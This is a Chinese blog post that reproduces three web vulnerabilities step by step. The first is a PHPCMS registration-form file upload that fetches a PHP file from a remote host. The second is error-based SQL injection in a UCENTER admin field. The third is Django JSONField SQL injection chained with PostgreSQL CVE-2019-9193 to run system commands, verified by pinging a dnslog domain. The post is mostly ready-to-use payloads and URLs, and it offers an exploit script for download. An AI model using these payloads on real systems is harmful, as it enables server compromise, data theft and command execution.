此处直接使用exp,python脚本来复现漏洞。复现结果如下:
exp.py文件在附件中,需要在文件内更改url和语句来食用:)
打开网站,来到注册页
填好信息,提交的时候进行抓包
发送到repeater后,进行数据修改,即替换以下payload(注册信息自定义):
siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://127.0.0.1/phpcms96/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
重点:modelid值必须为11,否则无法成功。
并且注意“127.0.0.1”ip可换成vps的ip或网址,此处为了复现的方便在本地创建了一句话文件。并且注册信息要改变(即username,email等字段),不然可能会失败。
文本文件phpinfo.txt
内容为<?php phpinfo() ?>
, 作测试用。
点击“send”后得到响应包,可见包含了上传文件的地址:
访问该地址,可见文件已成功上传。
进入后台管理页面,进入“站长”项
在左侧“UCENTER 设置”处,点击提交信息并抓包:
可知在“应用 ID”参数处存在报错注入,以下是测试步骤。
判断列数
1' order by 1 //返回正确
1' order by 2 //返回错误
查询当前用户
1' and updatexml(1,concat(0x7e,(select user())),1)-- a
进一步的利用不再展示。
进入网站,直接来到后台页面,用admin账号登陆:
然后访问http://ip:8000/admin/vuln/collection/
页面:
然后在GET参数中构造?detail__a%27b=123
提交,其中detail是模型Collection中的JSONField:
下一步结合CVE-2019-9193(PostgreSQL任意命令执行漏洞)尝试进行命令注入,构造url如下:
ps:CVE-2019-9193:具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令,该漏洞由PostgreSQL 引发。
http://[host]/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行.
然后用dnslog检测是否可以执行命令.
http://[host]/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping q7eds8.dnslog.cn'--%20
成功检测到流量。
打赏我,让我更有动力~
exp.zip 文件大小:0.001M (下载次数:19)
© 2016 - 2024 掌控者 All Rights Reserved.